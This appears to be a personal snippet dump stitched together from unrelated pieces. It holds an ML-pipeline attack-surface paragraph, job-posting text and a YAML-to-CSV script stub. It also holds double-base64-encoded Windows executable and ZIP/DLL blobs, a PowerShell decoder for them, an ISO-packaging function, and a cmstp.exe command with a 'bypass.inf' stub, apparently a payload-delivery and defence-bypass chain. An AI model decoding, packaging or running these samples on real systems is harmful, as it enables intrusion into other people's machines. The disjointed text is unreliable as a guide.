derekxmartin

Consider an e-commerce platform building a product recommendation system. It collects user activity streamed through Kafka, along with review text. Raw data lands in a massive data lake on AWS S3. Apache Spark processes it all: reconstructing user sessions, running sentiment analysis on reviews, and outputting processed files. Inside AWS SageMaker, a recommendation model trains on that data. The model is serialized as a pickle file, stored back on S3, and deployed through a Docker-ized API on Kubernetes. Monitoring tracks click-through rates, while user feedback feeding into periodic retraining cycles keeps the model fresh.

Every one of those stages is a potential entry point for an attacker. The stream. The bucket. The jobs. The model file. The loop itself.

derekxmartin

VFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE4QUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFBS3c4ZVNUcUtwd1U2aXFjRk9vcW5CUjlvNndVeWlxY0hKSzZqQVRhS3B3Y2tycXNCTm9xbkJ5U3V0d0VhaXFjSEpLNnpBUktLcHdUY2pxTUJNb3FuQlRxS293V3lpcWNIWUs2REFUS0twd2RnclZzRlBvcW5CMkN1cndFK2lxY0ZTYVdOb1RxS3B3UUFBQUFBQUFBQUFVRVVBQUdTR0JnQXJlejVxQUFBQUFBQUFBQUR3QUNJZ0N3SU9MQUFRQUFBQUdnQUFBQUFBQUZRVEFBQUFFQUFBQUFBQWdBRUFBQUFBRUFBQUFBSUFBQVlBQUFBQUFBQUFCZ0FBQUFBQUFBQUFjQUFBQUFRQUFBQUFBQUFDQUdBQkFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFQQ2dBQUZBQUFBQUFVQUFBK0FBQUFBQkFBQUNrQVFBQUFBQUFBQUFBQUFBQVlBQUFMQUFBQU5BaUFBQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFrQ0VBQUVBQkFBQUFBQUFBQUFBQUFBQWdBQURvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQURZRGdBQUFCQUFBQUFRQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXlaR0YwWVFBQTlnc0FBQUFnQUFBQURBQUFBQlFBQUFBQUFBQUFBQUFB

derekxmartin

VUVzREJCUUFBQUFBQU9OSjJsd0FBQUFBQUFBQUFBQUFBQUFGQUNBQVpHeHNjeTkxZUFzQUFRUUFBQUFBQkFBQUFBQlZWQTBBQjFwN1BtcGllejVxVm5zK2FsQkxBd1FVQUFnQUNBREpTZHBjQUFBQUFBQUFBQUFBQUFBQUR3QWdBR1JzYkhNdmJYTnZjbVZ6TG1Sc2JIVjRDd0FCQkFBQUFBQUVBQUFBQUZWVURRQUhLM3MrYW1CN1BtcGFlejVxN1RvTGRCUFhsVzlzalN6YkNBbXdpRU1DRENESHBvNWRZYm1FbjRPRWJSaW5kdUlZUTdJRWtJVThCaVcycENPTndDVHNCbFoyVXpPclU5SW1XNXJQSG5DU0h0cE5jdHcydXpGc3psWkdhV3dIeUFMTjJaclFVMGlhSnVPWTdab2tHMzVKWnU5OWIyUmJoRFI3dWszMzdFbmZPVy91ZmZmZGQ5OTk5OTEzNzV1UjZ0YnRJWm1FRUFOVVRTT2tsN0RpSWw5Y1JxRk9ubjFvTW5raCs5aWNYcTcyMkp6R0xmNklFQW9ITjRlOWJZTFBHd2dFWldHVEpJU2pBY0VmRUtydVdDMjBCWnVsVXJNNXg2N0x5RW4yZi9mMjdoLzFwZXFxTjViMDFRSWNMRDZRcUtQd3h6cDhMckdTd21jVFZRQnZtWGNnVVV2SEhPaHJCVGhVdkkrMmg0clg5dDFCNFQ4bUVEYjRmVnRRYmtybittcENtcjlsSk1VUDNIcnYrRHJtQ3JrWmsyOG1WbWpNWUxUR2FmQ3dVblFuUjNROGd4Q2pQaVlGU1VnM0h1MXU0bEtEVXVDejdUU1VMQ3NDbmFoaWhGelVEZjgwTjRHaGlaQ2JBUnlmeTZiNnZMSm5EZ3lkT0U0Z1JQMEQvS1d5MUM0REhKcXNLMlFkWDhjRUVVMmw0V2F2N0NYa28xeEdJSk9nNXFYemdjcXVVc1pHZHFKaEhJVGFpdktuOHlWS1E0eVJydEdsODgyOWhyeHdKT3dq

derekxmartin

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content -Path "input.txt" -Raw))))) | Out-File -FilePath "output.txt"

derekxmartin

function New-IsoFile
{
<#
.Synopsis
Creates a new .iso file from files/folders.
#>
[CmdletBinding(DefaultParameterSetName='Source')]
Param(
    [parameter(Position=1,Mandatory=$true,ValueFromPipeline=$true, ParameterSetName='Source')]$Source,
    [parameter(Position=2)][string]$Path = "$env:temp\$((Get-Date).ToString('yyyyMMdd-HHmmss.ffff')).iso",

derekxmartin

Interview Process

After submitting your application, the team reviews your CV and statement of exceptional work. If your application passes this stage, you will be invited to a 15 minute interview (“phone interview”) during which a member of our team will ask some basic questions. If you clear the initial phone interview, you will enter the main process, which consists of four technical interviews:

Coding assessment in a language of your choice.
Technical sessions (2): These sessions will be testing your ability to formulate, design and solve concrete problems in real world with LLM.
Meet the Team: Present your past exceptional work and your vision with xAI to a small audience.
Our goal is to finish the main process within one week. All interviews will be conducted via Google Meet.

Annual Salary Range

derekxmartin

We are seeking an AI Red Teamer with deep cybersecurity expertise to help evaluate the security and resilience of advanced AI systems and applications. This role is ideal for someone who enjoys offensive security, creative problem-solving, and thinking like an adversary.

In This Role, You Will

- Design and execute red team assessments against AI systems, applications, and supporting infrastructure
- Translate ambiguous objectives into structured testing plans and attack strategies
- Develop adversarial testing methodologies to evaluate system security, robustness, and resilience
- Craft prompts, attack chains, and adversarial inputs to uncover unintended or unsafe system behavior
- Identify vulnerabilities, security risks, and failure modes through testing and analysis
- Analyze system outputs and behaviors to assess security and safety risks

derekxmartin

cmstp.exe /s "C:\Users\derek\Desktop\bypass.inf" /au

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
RunPreSetupCommands=RunPreSetupCommandsSection
;CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM
;AddReg=Xnstall.AddReg.AllUsers

derekxmartin

https://x.com/cabot_phillips/status/2066343532936167510/photo/1

derekxmartin

#!/usr/bin/env python3
"""Convert a YAML file to CSV.

Handles the three shapes YAML files usually take:
  - a list of records (the common case)      -> one row per record
  - a single record (one mapping)             -> one row
  - a mapping of records keyed by name        -> one row per value, key kept

Nested mappings are flattened with dotted keys (a.b.c). Lists inside a
record are JSON-encoded so a cell keeps its structure instead of being lost.